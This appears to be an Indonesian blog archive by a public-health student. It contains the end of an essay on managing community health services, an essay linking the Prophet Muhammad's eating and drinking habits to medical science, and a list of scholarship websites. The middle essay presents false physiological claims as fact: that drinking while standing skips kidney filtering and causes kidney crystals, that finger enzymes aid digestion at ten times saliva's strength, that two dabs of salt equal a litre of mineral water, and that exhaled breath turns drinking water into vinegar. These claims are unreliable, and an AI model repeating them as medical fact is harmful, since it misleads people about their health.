Kebutuhan didesain berdasarkan keinginan atau ekspektasi masyarakat
b. Partisipasi aktif Pegawai
Konsepsi peningkatan mutu pelayanan kesehatan tidak hanya menjadi tanggung jawab unit pengendali mutu, tetapi menjadi tanggung jawab semua unit pegawai.
c. Setiap pegawai memahami tanggung jawab spesifikasi kualitas
d. Berorientasi pada tindakan pencegahan
System pengendalian proses kualitas pelayanan kesehatan berorientasi pada pencegahan, bukan pada aktifitas seleksi (inspeksi). Proses input menjadi keluaran (output) dilakukan melalui aktifitas yang tepat, sumber daya yang tepat, dan dengan cara yang tepat dan benar.
e. Kualitas Pelayanan pada Kesehatan yang bermasyarakat merupakan “Jalan Hidup”
Dengan adanya pengendalian mutu pelayanan kesehatan sejak dini, dan pada semua level, maka ada jaminan pelayanan yang berkualitas, bebas cacat, sehingga Organisasi mempunyai daya saing yakni produk berupa pelayanan jasa kesehatan yang berkualitas, sehingga Organisasi dapat bertahan terus.

4. Penyerahan Jasa Layanan Kesehatan

Pelayanan kesehatan pada saat penyerahan kepada masyarakat dan sesudah jasa pelayanan kesehatan itu diterima, meliputi:

Ketepatan waktu proses pelayanan kesehatan.
Konsisten menepati waktu penyerahan jasa pelayanan kesehatan yang diminta oleh masyarakat.
Kualias jasa yang diserahkan benar-benar sesuai dengan kualifikasi atau standar yang ditentukan, bebas dari kesalahan-kesalahan, termasuk kelengkapannya.
Informasi yang berkaitan penggunaan, manfaat jasa pelayanan kesehatan kepada masyarakat haruslah jelas.
Tanggapan terhadap keluhan pelayanan kesehatan harus tepat dan cepat.
Komitmen terhadap jaminan pelayanan kesehatan yang diberikan.
Interaksi dengan masyarakat menyenangkan terutama dalam hal: Menanggapi keperluan masyarakat, harus:

Penampilan yang menarik dengan berpakaian yang rapid dan bersih.
Sentuhan yang khas baik melalui bahasa tubuh dan bahasa tutur.
Kesopanan dan kepekaan dalam menanggapi keluhan-keluhan.
Cara penyampaian atau penyerahan pelayanan kesehatan dengan menawarkan, alternative seperti pemberian informasi mengenai efek samping dari obat-obatan yang akan digunakan oleh masyarakat dan manfaatnya.

5. Menanggapi Keluhan Pelayanan Kesehatan (Memuaskan Pelanggan yang Mengeluh).

Keterbatasan dalam berbagai hal membuat pelayanan kesehatan tidak selalu memaksimalkan kepuasan masyarakat. Pelanggan atau pemakai jasa pelayanan kesehatan yang menyampaikan keluhan, harus mwndapat pelayanan khas, sekalipun cara penyampaiannya kurang tepat. Kalau mereka tidak menyampaikan secar langsung kepada penyedia jasa pelayanan kesehatan seperti Rumah Sakit ataupun Puskesmas, tetapi disampaikan kepada orang lain dari mulut ke mulut, atau melalui mass media, dampaknya akan lebih buruk terhadap keberlangsungan Organisasi penyedia layanan kesehatan itu dan akan mengakibatakan resiko orang sakit akan semakin tinggi karena orang-orang atau masyarakat penikmat jasa pelayanan kesehatan, enggan untuk berobat ke Rumah Sakit tetapi menggunakan jalur lain, seperti dukun atau pengobatan yang kurang sesuai secara medis.

Berikut ini ada beberapa langkah yang dilakukan dalam memuaskan masyarakat yang mengeluh:
a. Dengarakan dengan cermat keluhan tentang pelayanan kesehatan yang disampaikan.
b. Catat dengan benar keluhan mereka
c. Ulangi inti pokok yang dilakukan untuk meyakinkan mereka bahwa kita telah mendengar, mengerti dengan benar keluhan mereka
d. Berikan sebuah sikap, bahwa kita berempati kepada masyarakat yang mengeluh
e. Akui bahwa kita dapat memaklumi perasaan, sikap, kekecewaan, kemarahan, kejengkelan mereka.
f. Minta maaf
g. Jelaskan tindakan yang akan dilakukan untuk mengatasi keluhan itu.
h. Ucapkan terima kasih dan pernyataan akan lebih berhati-hati dikemudian hari.

BAB VI
KESIMPULAN

Manajemen Pelayanan Kesehatan Masyarakat adalah suatu proses atau kemampuan dalam mengelola jasa pelayanan kesehatan yang dibutuhkan masyarakat mulai dari permintaan untuk dilayani sampai pelayanan jasa di bidang kesehatan itu diterima oleh masyarakat untuk dgunakan. Oleh karena itu, dengan menilik semua teori di bab-bab yang telah saya sampaikan, dapat ditarik sebuah kesimpulan bahwa konsepsi Pelayanan Kesehatan harus berpihak kepada masyarakat dengan sebuah gerakan peningkatan mutu pelayanan kesehatan dan Memberdayakan Masyarakat (Reinverting Goverment) untuk lebih meningkatkan efektifitas dan efisiensi manajemen pelayanan Kesehatan Masyarakat, dengan melakukan progam-progam yang sifatnya mendidik masyarakat sehingga masyarakat itu sadar akan pentingnya kesehatan itu sendiri. Sehingga semua dapat meraskan aspek manfaat yaitu:

1. Bagi masyarakat

Kebutuhan masyarakat untuk pelayanan kesehatan semakin terpenuhi.
Partisipasi masyarakat dalam pelayanan kesehatan semakin meningkat.
Efektifitas kegitan masyarakat semakin meningkat, Karena masyarakatnya sehat.
Efisiensi operasional kegiatan masyarakat semakin meningkat.
Kesejahteraan masyarakat semakin bertambah.

2. Bagi Aparatur Pemerintah

Semakin Percaya Diri
Kepuasan pribadi, rasa kebanggaan dapat membantu, menolong orang lain dalam memenuhi keperluan, atau kebutuhan tertentu.
Ketenangan kerja semakin mantap.
Etos kerja semakin meningkat.
Kesejahteraan meningkat melalui perkembangan karier, kenaikan pangkat, gaji.
Citra aparatur pemerintah semakin meningkat.
Bagi Pemerintah
Citra pemerintah semakin meningkat
Kepercayaan kepada pemerintah semakin meningkat.
Penerimaan pemerintah semakin meningkat.
Kerjasama kemitraan semakin efektif.

DAFTAR PUSTAKA

Sianipur,JP.G. 1998. Manajemen Pelayanan Masyarakat. Jakarta: LAN RI.
Kadarmo, Siwi Utama. 1998. Pemecahan Masalah dan Pengambilan Keputusan. Jakarta: LAN RI.
Sutopa. 1998. Administrasi Manajemen dan Organisasi. Jakarta: LAN RI.
Wahjosumidjo. 1998. Kepemimpinan Abad XXI. Jakarta: LAN RI.
Adikusumo, A. Amer H.D. Manajemen Pola Kerja Terpadu. Jakarta: LAN RI.

Pola Pangan Rasulullah SAW ditinjau dari Ilmu Kesehatan

2008-12-29T21:26:00.000-08:00

Pola Makan dan Minum Rasulullah SAW Ditinjau dari Ilmu Kesehatan

oleh: Muhammad Wahid Muslim

Program Studi Kesehatan Masyarakat
Fakultas Kedokteran dan Ilmu kesehatan
Universitas Islam Negeri Syarif Hidayatullah
2008

===============================================================

A. Kaitan Sehat dengan Gizi Manusia

Dari sisi fisik, sehat berarti bebas dari penyakit, tubuh harus mampu melawan sumber penyakit. Kalau penyakit berasal dari kuman atau virus, maka diupayakan agar ia tidak bisa menembus pertahanan tubuh (antibodi). Pertahanan tubuh bisa dibentuk dengan menjadikan sel-sel tubuh dapat diperoleh dengan memberi asupan makanan dan gizi yang baik. Dalam arti mengkonsumsi makanan sesuai kebutuhan tubuh.

Tubuh manusia itu terdiri dari organ, dan organ terdiri dari sel-sel. Tiap satu organ bisa terbuat dari milyaran sel. Struktur sebuah sel biasanya terdiri dari zat-zat gizi seperti karbohidrat, protein, lemak, vitamin, mineral dan air. Zat-zat itu terlibat dalam berbagai aktifitas sel. Karena dipakai terus menerus, baik untuk membentuk antibodi dan hormon, bahkan membentuk sel itu sendiri, maka harus selalu diganti dengan yang baru. Zat-zat yang baru itu, diperoleh dari makanan. Karena itu, makanan yang dikonsumsi harus mengandung semua zat gizi.

B. Empat Komponen Gizi
Menurut para ahli kesehatan, makanan yang dikonsumsi harus mengandung empat komponen:

1. KARBOHIDRAT sebagai sumber energi. Zat ini banyak terdapat dalam padi-padian (nasi), kentang, gandum, dan terigu,

2. SUMBER PROTEIN HEWANI seperti daging, ayam, telur, dan ikan,

3. PROTEIN NABATI diperoleh dari kacang-kacangan seperi kedelai, kacang polong, kacang merah, juga dari makanan olahan terbuat dari kacang-kacangan seperti tahu, tempe, kecap, dll,
4. SUMBER SERAT DAN VITAMIN, khususnya sayuran dan buah-buahan.

Al-qur’an sendiri telah menyiratkan pentingnya keempat komponen tersebut. Allah SWT berfirman dalam QS. Abasa: 24-31:
”Maka hendaklah manusia itu memerhatikan apa yang dimakannya. Sesungguhnya, Kami benar-benar telah mencurahkan air (dari langit). Kemudian Kami belah bumi dengan sebaik-baiknya, lalu Kami tumbuhkan biji-bijian di bumi itu, anggur, buah zaitun, dan pohon kurma, kebun-kebun (yang) lebat, dan buah-buahan serta rumput-rumputan” (QS. ’Abasa [80]; 24-31)

Idealnya, setiap kali makan, keempat makanan itu harus ada. Tidak boleh lebih atau kurang. Baik pada saat makan pagi, siang dan malam. Kekurangannya baru ditambah dengan makanan cemilan (yang kandungan gizinya tidak lengkap).

C. Makanan dalam Islam
Makanan adalah bahan, biasanya berasal dari hewan atau tumbuhan, dimakan oleh makhluk hidup untuk memberikan tenaga dana nutrisi. Cairan dipakai untuk maksud ini sering disebut minuman, tetapi kata ‘makanan’ juga bisa dipakai. Istilah ini kadang-kadang dipakai dengan kiasan, seperti “makanan untuk pemikiran”.

Makanan yang dibutuhkan manusia biasanya dibuat melalui bertani atau berkebun yang meliputi sumber hewan dan tumbuhan. Makanan yang biasa dikonsumsi oleh Manusia:
1. Sumber tumbuhan
2. Sumber Hewan

Setiap makhluk hidup membutuhkan makanan. Tanpa makanan, makhluk hidup akan sulit dalam mengerjakan aktifitas sehari-harinya. Makanan dapat membantu kita dalam mendapatkan energi, membantu pertumbuhan badan dan otak. Memakan makanan yang bergizi akan membantu pertumbuhan kita, baik otak maupun badan. Setiap makanan mempunyai kandungan gizi yang berbeda. Protein, karbohidrat, lemak, dan lain-lain adalah salah satu contoh gizi yang akan kita dapatkan dari makanan.

Setiap jenis gizi yang kita dapatkan mempunyai fungsi yang berbeda. Karbohidrat merupakan sumber tenaga yang kita dapatkan sehari-hari. Salah satu contoh makanan yang mengandung karbohidrat adalah nasi. Protein digunakan oleh tubuh untuk membantu pertumbuhan kita, baik otak maupun tubuh kita. Lemak digunakan oleh tubuh kita sebagai cadangan makanan dan sebagai cadangan energi. Lemak akan digunakan saat tubuh kekurangan karbohidrat, dan lemak akan memecah menjadi glukosa yang sangat berguna bagi tubuh kita saat kita membutuhkan energi.

Islam memiliki aturan yang sangat komprehensif terkait dengan hal ini. Islam memerintahkan kaum muslimin untuk makan dan minum. Dan pedoman dalam hal ini sangatlah jelas, seperti dalam firman Allah SWT:
“Hai manusia, makanlah yang halal lagi baik dari apa yang terdapat di bumi dan janganlah kamu mengikuti langkah langkah syaithan, karena sesungguhnya syaithan adalah musuh yang nyata bagimu” (QS Al Baqarah, 2:168)

Halalan thayyiban di sini maksudnya adalah meliputi:

1. Jenis makanan

2. Cara memperoleh

3. Proses mengkonsumsi

4. Tujuan mengkonsumsi

Ditinjau dari perspektif nutrisi, tuntutan Islam dalam hal makanan halal tentu saja ada korelasinya. Menurut para ahli gizi, makanan yang diharamkan atau yang dihalalkan Islam, dapat dipertanggung jawabkan sesuai ilmu gizi. Sebagai contoh, darah diharamkan dalam Islam. Dipandang dari segi medis, darah berperan penting dalam sistem pengangkutan zat-zat makanan, selain juga mengangkut bahan beracun atau penyakit. Jika hewan mengidap penyakit tertentu seperti Salmonella sp maupun virus hepatitis A, jelas hal ini mengundang risiko bagi manusia yang memakannya. Itulah mengapa bangkai dan darah dianggap haram dalam Islam.

Lalu bagaimana dengan haramnya babi? Banyak ahli mengungkapkan, daging babi memiliki kandungan lemak yang tinggi, sehingga bagi yang mengonsumsinya, terutama yang terus menerus dan berlebihan berisiko tinggi terkena penyakit yang diakibatkan obesitas (kegemukan). Lemak yang tinggi mengakibatkan kolesterol darah tinggi sehingga berpeluang terserang penyakit jantung.Bagaimana halnya dengan makanan yang dihalalkan? Sebut saja beberapa ayat yang menghalalkan makanan yang ada di laut, ikan umpamanya. Terbukti dari berbagai riset, ikan memiliki keunggulan protein dibandingan dengan hewan lainnya. Para ahli menyebutkan ikan laut memiliki kandungan omega 3 yang tinggi berpotensi mengurangi risiko penyakit jantung dan hipertensi juga menambah kecerdasan anak. Begitu juga dengan biji-biian yang disebutkan dalam Al-Quran. Biji-bijian seperti kedelai dipercaya dapat mengurangi risiko serangan jantung dan darah tinggi.

Jadi apa yang dihalalkan Islam itu memang mengandung manfaat bagi manusia. Namun perlu diingat, yang halal belum tentu baik atau menyehatkan bila dikonsumsi secara berlebihan. Dalam hal ini konsep "halalan thoyiban", halal dan menyehatkan, menjadi sangat penting. Makanan halal bisa dikonsumsi secara berlebihan bisa berubah menjadi "haram", karena apapun kalau dilakukan secara berlebihan jadi tidak baik. Halalan thoyiban juga mengandung makna adanya keseimbangan dalam pola makan, tidak melulu hewani tapi juga buah-buahan dan sayuran yang mengandung serat untuk kelancaran dan kesehatan pencernaan.

D. Sifat dan Cara/Adab Makan dan Minum Rasulullah SAW
Sebenarnya, kita memiliki teladan luar biasa dalam hal pola makan ini, yaitu pola makan Rasulullah SAW. Apa yang beliau lakukan telah terbukti kebenarannya secara medis, yaitu:
1. Sifat Pola Makan Rasulullah SAW dari Ilmu Kesehatan dan Ilmu Gizi

a. Jangan lebih dan jangan kurang dalam makan.
Satu hal yang harus diperhatikan, bahwa makan tidak boleh berlebihan. Dalam surat Al-A’raaf :31, Allah SWT berfirman:
"Makan dan minumlah tapi jangan berlebihan. Allah tidak senang kepada orang yang berlebihan.
(lihat QS.7:31 dan QS.20:81).
Rasulullah SAW menjabarkan peringatan ini dalam sabdanya:

Tidak ada sesuatu yang dipenuhkan oleh anak cucu Adam lebih buruk daripada perut. Cukuplah bagi mereka beberapa suap yang dapat menegakkan tubuhnya. Kalaupun harus dipenuhkan, maka sepertiga untuk makanan, sepertiga untuk udara, dan sepertiga untuk air. (Hadist riwayat Tirmidzi).

Maksudnya jangan melampaui batas maksimum dan minimum yang ditentukan. Dilihat dari sisi medis, berlebihan dalam makan bisa mendatangkan penyakit, seperti kegemukan, jantung koroner karena kelebihan lemak dan darah, serta diabetes melitus karena kelebihan karbohidrat atau gula dalam darah.

Sebaliknya, kekurangan makan pun bisa mendatangkan penyakit. Seperti kekurangan energi dan protein, kekurangan zat besi akibatnya anemia (kurang darah), kekurangan yodium yang menyebabkan gondok endemik, serta kekurangan vit. A yang meyebabkan kebutaan. Yang banyak terjadi di Indonesia adalah kekurangan energi protein. Indikasinya, diawali oleh kekurangan berat badan dampai ke gizi buruk seperti marasmus dan kwasiorkor.

Tentunya, selain tidak berlebihan dalam hal makan, untuk menjaga kesehatan perut, juga anggota tubuh yang lain. Kita pun harus selektif memilih makanan yang kita konsumsi. Menurut buku Five Powerful Habits of Physical Intellegence karya Peter C. Kurnailli & Aribowo Prijosaksono, disebutkan lima terapi makanan untuk menjaga kesehatan tubuh:
1. Kurangi asupan bahan makanan sintetis seperti yang kita temui pada makanan olahan (makanan kaleng, daging olahan, makanan yang diawetkan, mi instan), atau yang menggunakan zat pewarna.
2. Tingkatkan konsumsi lemak yang baik. Lemak tidak selalu buruk. Lemak menjadi buruk jika berlebihan. Yang pasti, lemak itu berguna & sangat penting bagi tubuh sebagai tempat menyimpan energi tubuh.
3. Tingkatkan konsumsi bahan makanan yang kaya anti oksidan. Antioksidan yang banyak terdapat dalam sayuran, buah-buahan, teh, buah zaiutn, anggur merah, dan berbagai macam vitamin dan mineral.
4. Tingkatkan konsumsi protein seperti yang kita temui dalam ikan, kacang-kacangan, jamur, telur, dan kedelai.
5. Tingkatkan konsumsi bahan makanan yang alami, segar dan tidak mengandung pestisida. Kurangi mengkonsumsi fast food (makanan cepat saji) dalam banyak sajinya.

b. Hanya makan ketika lapar dan Berhenti makan sebelum kenyang.
Saya menduga, Rasul itu makannya teratur, ada jam-jam tertentu. Ini bisa dipahami karena kondisi lapar itu bisa dibuat, perut itu bisa dididik. Seperti saat puasa Ramadhan kita dibiasakan makan sahur, sehingga seminggu setelah Ramadhan kita biasanya bangun jam empat karena lapar. Karena, Pada dasarnya pola makan itu harus disesuaikan dengan circadian rhytm (irama biologis) dengan jam kerka 24 jam sehari. Jadwal ini harus diperhatikan terkait siklus pencernaan dalam tubuh manusia yang biasanya memiliki jadwal sebagai berikut:

A. Pukul 04.00 s.d. 12.00 wib
adalah masa pembuangan. Masa ini adalah jadwal detoksifikasi dengan pembuangan racun. Tubuh secara intensif mengeluarkan sisa-sisa makanan dan sisa metabolisme. Orang yang buang air besar di luar waktu tersebut biasanya memiliki system pencernaan yang bermasalah. Siklus ini membutuhkan energi yang besar. Pada siklus ini sebaiknya makan banyak mengkonsumsi buah dan sayur dan tidak mengkonsumsi makanan padat dan berat karena akan mengganggu intensitas proses pembuangan, menguras energi, dan memperlambat proses pencernaan.

B. Pukul 12.00 s.d. 20.00 wib
adalah siklus pencernaan. Pada masa ini masa yang cocok untuk mengkonsumsi makanan padat sumber karbohidrat, lemak dan protein. Hal ini disebabkan karena pada masa ini siklus pencernaan bekerja lebih aktif.

C. Pukul 20.00 s.d. 04.00 wib
adalah siklus penyerapan. Tidak dianjurkan untuk makan makanan pada diatas jam 20.00 wib karena lambung tidak boleh sesak dengan makanan pada saat tidur. Saat tidur tubuh bekerja untuk menyerap, mengasimilasi, dan mengedarkan zat makanan. Kurang tidur di malam hari akan mengganggu siklus penyerapan dan menguras energi. Selain itu perlu juga dipadukan dengan parameter pencernaan yang bisa dirasakan manusia terkait dengan lapar dan kenyang.

Kajian pola makan Rasulullah juga ternyata sesuai dengan jadwal tersebut, namun Rasulullah juga memadukannya secara seimbang dengan prinsip “makan saat lapar dan berhenti sebelum kenyang.” Parameter ini bersifat dinamis karena langsung dirasakan dan dipraktekkan oleh pelakunya. Memang dibutuhkan kesadaran yang utuh untuk bisa memadukan secara seimbang kedua parameter tersebut.

c. Makan dengan tiga jari
Hadits Rasulullah shallallahu ‘alaihi wa sallam:
“Sungguh Rasulullah shallallahu ‘alaihi wa sallam makan dengan menggunakan tiga jari.” (HR. Muslim, HR. Daud).
Dengan tiga jari suapan porsi makanan menjadi sedikit. Rasul tidak menyuapkan makanan lagi sebelum makanan yang di mulut habis ditelan. Dengan cara ini, kita bisa menyuap perlahan-lahan dan lebih bisa menikmati makanan itu. Zat-zat pencerna dalam lambung dan usus pun akan diproduksi dalam jumlah sedikit. Kalau kita menelan cepat-cepat, maka zat-zat pencerna akan diproduksi dalam jumlah banyak. Kalau makan dengan perlahan, begitu masuk, ukuran zat pencerna dan yang dicerna menjadi seimbang. Kalau tergesa-gesa maka enzim pencernanya tidak seimbang dengan makanan yang masuk. Tak heran bila makanan sudah banyak yang masuk, tapi kenyangnya belum terasa.

d. Makan dan Minum sambil duduk
Ditinjau dari segi kesehatan Air yang masuk dengan cara duduk akan disaring oleh sfringer. Sfingter adalah suatu struktur maskuler (berotot) yang bisa membuka (sehingga air kemih bisa lewat) dan menutup. Setiap air yang kita minum akan disalurkan pada ‘pos-pos’ penyaringan yang berada di ginjal. Jika kita minum berdiri, Air yang kita minum tanpa disaring lagi. Langsung menuju kandung kemih. Ketika langsung menuju kandung kemih, maka terjadi pengendapan disaluran ureter. Karena banyak limbah-limbah yang menyisa di ureter Inilah yang bisa menyebabkan penyakit kristal ginjal. Salah satu penyakit ginjal yang berbahaya. Susah kencing itu penyebabnya.

SFINGTER atau sphincter dalam bhs inggris, semacam otot yang fungsinya sebagai katup yang mengatur keluar masuknya makanan/minuman, secara luas sebenarnya sfingter ini, tidak hanya lalu lintas makanan saja juga untuk pernafasan, intinya seluruh benda yang masuk keluar tubuh, ada banyak macam sfingter ini. Dalam saluran pencernaan, jika kita berdiri otot sfingter ini kurang berkontraksi dan sfingter itu akan langsung digelontor oleh makanan dan minuman (pengaruh gravitasi), akibatnya ya itu lama kelamaan saringannya kurang bekerja. Jika sfingter itu rusak, jalan satu-satunya hanya dioperasi, diperbaiki sfingter, atau dibuatkan artifisial sfingter.

Jika pada minuman yang larinya ke ginjal akan menyebabkan gangguan seperti di sebut dibawah, penyakit kristal ginjal, sedangkan jika pada makanan yang di olah larinya ke tenggorokan, lambung, usus, bayangkan jika bagian tubuh anda tersebut mengalami gangguan akibat sfingternya kurang bekerja, bisa berupa acid-reflux/ GERD, hernia, gangguan hati, ginjal dan berbagai penyakit pencernaan yang ujungnya bisa berakibat fatal seperti kurangnya gizi, anemia, dll.

Jadi sebaiknya kita dalam mengkonsumsi makan haruslah:
1. Duduk ketika makan,
2.Makan Perlahan,
3. Mengunyah secara menyeluruh.

e. Rasulullah tidak mencampurkan makanan yang berlawanan.
Ibnul Qoyyim berkata, “Barangsiapa memperhatikan makanan yang dikonsumsi oleh Nabi saw., niscaya ia mengerti bahwa beliau tidak pernah memadukan menu antara susu dengan ikan, atau antara susu dengan cuka, atau antara dua makanan yang sama-sama mengandung unsur panas, unsur dingin, unsur lengket, unsur penyebab sembelit, unsur penyebab mencret, unsur keras, atau dua makanan yang mengandung unsur kontradiktif, misalnya antara makanan yang mengandung unsur penyebab sembelit dengan yang mengandung unsur penyebab mencret, antara yang mudah dicerna dengan yang sulit dicerna, antara yang dibakar dengan yang direbus, antara daging yang segar dengan yang sudah digarami dan dikeringkan, antara susu dengan telur, dan antara daging dengan susu.
Beliau tidak pernah makan pada saat makanan tersebut masih sangat panas atau masakan yang dihangatkan untuk besok, makanan-makanan yang bulukan (berjamur) dan asin, seperti makanan-makanan yang diasinkan, diasamkan, atau dihanguskan. Semua jenis makanan ini berbahaya dan menimbulkan berbagai macam gangguan kesehatan.

f. Menjilati jari dan sisa makanan
Setiap makanan yang kita makan sebenarnya mengandung berkah. Namun tidak sekalipun kita mengerahui dimana berkah dari makanan tersebut. Agar kita tidak kehilangan berkah dari makanan tersebut, Rasulullah SAW memerintahkan umatnya untuk menjilat jari-jari yang digunakan untuk makan, serta sisa makanan pada piring. Hal ini tersurat dalam hadist berikut: Dari Ibnu Abbas radhiyallahu ‘anhu, Nabi shallallahu ‘alaihi wa sallam bersabda, “Jika salah satu di antara kalian makan, maka janganlah dia bersihkan tangannya sehingga dia jilati atau dia minta orang lain untuk menjilatinya.” (HR. Bukhari no. 5456 dan Muslim no. 2031)

Di sela-sela jari terdapat enzim yang jumlahnya 10x lipat yang terdapat di air liur. Dengan menjilati makanan yang ada di sela-sela jari membuat enzim yang terkandung akan ikut masuk kedalam perut dan membantu pencernaan.

4. Cara atau Adab Rasulullah dalam Makan dan Minum
a. Cara Makan
Cara makan, kenapa kita gunakan tangan? Mengikut cara Rasulullah SAW, beliau akan mencampurkan lauk dan nasi dengan tangan kanannya dan kemudian membiarkan sebentar, lalu Rasullah SAW akan mengambil sedikit garam menggunakan jari kecilnya, lalu Rasullah saw akan menghisap garam itu. Kemudian barulah Rasulullah makan nasi dan lauknya. Mengapa? Karena kedua belah tangan kita mengeluarkan 3 macam enzim, tetapi konsentrasi di tangan kanan kurang sedikit dari yg kiri. Ini adalah karena enzim yg ada di tangan kanan itu merupakan enzim yang dapat menolong proses penghadaman (digestion). Ia merupakan the first process of digestion. Mengapa menghisap garam? Kerana garam adalah sumber mineral dari tanah yang diperlukan oleh badan kita. Dua cecah garam dari jari kita itu adalah sama dengan satu liter air mineral. Kita berasal dari tanah maka lumrahnya manusia berasal dari bumi (tanah) inilah yg paling berkhasiat untuk kita. Kenapa garam? Selain dari sebab ia adalah sumber mineral, garam juga adalah penawar yang paling mujarab bagi keracunan di makanan. Menurut dokter, the first line of treatment for poisoning adalah dengan memberi Sodium Chloride, yaitu GARAM.

b. Cara Rasulullah minum.
Janganlah kita minum berdiri walaupun ia makruh tetapi ia makruh yang menghampiri kepada haram. Karena ditinjau dari segi ilmu Kedokteran, Jika kita minum berdiri, Air yang kita minum tanpa disaring lagi. Langsung menuju kandung kemih. Ketika langsung menuju kandung kemih, maka terjadi pengendapan disaluran ureter. Karena banyak limbah-limbah yang menyisa di ureter Inilah yang bisa menyebabkan penyakit kristal ginjal. Salah satu penyakit ginjal yang berbahaya. Susah kencing itu penyebabnya. Jangan kita minum dari air yg besar dan kemungkinan orang lain juga akan meminum dari tempat yang sama, sehingga kita tidak memberi sisa air kita ke orang lain.

Rasulullah SAW bersabda:
“Jika salah seorang dari kalian minum, janganlah ia bernafas di dalam gelas, tetapi hendaklah ia menjauhkan240) gelas dari mulut-nya.” {HR. Ibnu Mâjah dan dishohihkan oleh Al-Albânî dalam Shohîhu `l-Jâmi‘ (624) dan dalam Ash-Shohîhah (386)}

Hadist ini melarang kita bernafas sedang kita minum. Kerana apabila kita minum dari air yg besar, lumrahnya kita akan meneguk air dan dalam proses minum itu, kita tentu akan bernafas dan menghembuskan nafas dari hidung kita. Karena apabila kita hembuskan nafas, kita akan mengeluarkan CO2 iaitu carbon dioxide, yang apabila bercampur dgn air H20, akan menjadi H2CO3, iaitu sama dengan cuka, menyebabkan minuman itu menjadi acid. Jangan meniup air yg panas, sebabnya sama diatas. Cara minum, seteguk bernafas, seteguk bernafas sehingga habis.

KESIMPULAN

Pola pangan Rasulullah SAW, ternyata ditinjau dari segi ilmu kesehatan atau kedokteran sangat sejalan dengan perkembangan ilmu di abad ini. Dan, ditinjau dari perspektif nutrisi, tuntutan Islam dalam hal makanan halal tentu saja ada korelasinya. Menurut para ahli gizi, makanan yang diharamkan atau yang dihalalkan Islam, dapat dipertanggung jawabkan sesuai ilmu gizi.

Daftar Pustaka

(H. Kunkun K. Wiramihardja, dr., dipl. Nutr., MS).
Pola Makan Rasulullah" oleh Prof. Dr. Abdul Basith Muhammad as-Sayyid
"Rumus Makan" dan Kemiskinan Oleh WIDODO ASMOWIYOTO http://www.pikiran-rakyat.com/cetak/2006/112006/03/0902.htm30 Des 2008 00:42:35 -080
Ath-Tharsyah, Adnan. 2006. Yang Disenangi Nabi Dan Yang Tidak Disukai. Jakarta : Gema Insani.

Situs-Situs Beasiswa

2008-10-31T05:44:00.000-07:00

Situs-Situs Beasiswa

Oleh: Muhammad Wahid Muslim

". . .Sesungguhnya Allah tidak mengubah keadaan sesuatu kaum sehingga mereka mengubah keadaan yang ada pada diri mereka sendiri . . . " (QS. Ar-Ra’du:11)

Mau sekolah gratis? Di bawah ini ada situs yang menawarkan beasiswa bagi para pelajar dan mahasiswa. memang, pada prakteknya sulit untuk mendapatkan beasiswa. Namun, tak menutup kemungkinan untuk berhasil, karena beberapa situs memang merupakan yayasan yang mengkhususkan diri untuk mencerdaskan kehidupan bangsa. Beberapa diantaranya, ada yang bekerjasama dengan instansi pemerintah maupun swasta. dan biasanya, program-program ini adalah beasiswa untuk S2.

Untuk beasiswa dalam negeri, biasanya hanya beasiswa pendidikan saja. Tetapi, beasiswa luar negeri bukan hanya pendidikan saja, tetapi juga sudah termasuk dengan living cost disana. Tetapi, sebagai sebuah pengalaman saja. Alhamdulillah, dari sekian beasiswa yang ditawarkan, saya berhasil mendapatkan sebuah kesempatan untuk mendapatkan beasiswa program santri berprestasi dari Departemen Agama, yang mana tidak hanya beasiswa berupa pendidikan saja, tetapi juga living cost. Pihak DEPAG (Departemen agama) ini memberi kesempatan kepada santri seluruh indonesia untuk meneruskan pendidikan di berbagai Perguruan Tinggi negeri di Indonesia seperti UIN Syarif Hidayatullah Jakarta, UIN Sunan Kalijaga, IAIN Walisongo, IAIN Sunan Ampel, UGM, IPB, ITB, dan UNAIR. Pihak DEPAG yang bekerja sama dengan universitas mencakup berbagai macam fakultas dan jurusan. Tentunya, ini tidak boleh disiakan dan saya berhasil mendapatkan di Fakultas Kedokteran dan Ilmu kesehatan, Jurusan Kesehatan Masyarakat di UIN Syarif Hidayatullah Jakarta. Beasiswa DEPAG ini untuk program S1 hingga akhir (wisuda) dengan sebuah syarat yaitu mengaplikasikan ilmu yang diperoleh ke Pondok Pesantren yang diamanahkan DEPAG di seluruh Indonesia selama 3 th, atau mengabdikan di pondok sendiri.

"Kenapa saya berhasil mendapatkannya. Karena, saya memulai langkah utama untuk keberhasilan adalah ikhtiar, baru berdoa. Gunakan ini sebagai langkah pertama yang menjadi bagian terpenting dari sebuah perjalanan. Dan yakinilah bahwa perubahan besar dapat dicapai, sama cepatnya dengan pencapaian sebuah perubahan kecil. Ada orang yang menggunakan pengalaman kegagalan , baik dari dirinya dan dari pengalaman orang lain, untuk menyakini dirinya sendiri bahwa keberhasilan itu tidak mungkin baginya. Kegagalan adalah tanda akan adanya jaminan keberhasilan. Dan ... iman adalah nama dari keyakinan-nya. Maka sadarilah, Anda dibedakan dari orang biasa dari cara Anda menyikapi kegagalan.Untuk mencapai keberhasilan, kita membutuhkan lebih dari sekedar niat baik dan cita-cita yang tinggi. Kita harus menindak-lanjuti niat baik dan cita-cita kita dengan kerja keras. Itu berarti bahwa semakin cepat Anda memulai, semakin keras Anda bekerja, dan semakin penting nilai dari yang Anda selesaikan bagi orang lain – semakin cepat juga Anda mencapai kepantasan untuk hidup dalam kualitas yang Anda idamkanKarena, harapan baik pada pribadi penuh syukur yang sedang bekerja keras adalah kekuatan pengubah rencana langit. Beranikanlah diri Anda untuk melakukan yang dapat Anda lakukan. Dan yakinilah bahwa keajaiban – mudah datang kepada Anda – bila Anda berani.

Berikut adalah situs-situsnya:

1. ADS (Australian Development Scholarship)
http://www.adsjakarta.or.id/
Beasiswa ini untuk program S1 dan S2 di Australia, termasuk beasiswa living cost disana. Sebelum pemberangkatan, ada pelatihan bahasa Inggris terlebih dahulu.

2. Akademia
http://www.akademianet.com/
Situs ini merupakan situs informasi untuk mahasiswa yang juga menawarkan beasiswa dari yayasan atau organisasi terkenal.

3. Asia Pasific Bride

http://www.asiapasivic.uvic.ca/schind.htm

4. Fast Aid
http://www.fastaid.com

5. Fast Web
http://fastweb.com/

6. Free Scholarships
http://www.freescholarships.com

7. Fullbright
http://www.usembassyjakarta.org/aminef
beasiswa ini diprioritaskan pada siswa-siswa yang memiliki prestasi di bidang-bidang seperti: Musik, Olahraga, Melukis, dll.

8. GN OTA
http://www.gn-ota.or.id/

9. Habibie center
http://www.habibie.net/
Persyaratan beasiswa yang ditawarkan cukup jelas dan ada juga beasiswa untuk kerja.

10. IIEF (Indonesia International Education Foundation)
Langsung email ke:
- ifp@iief.or.id
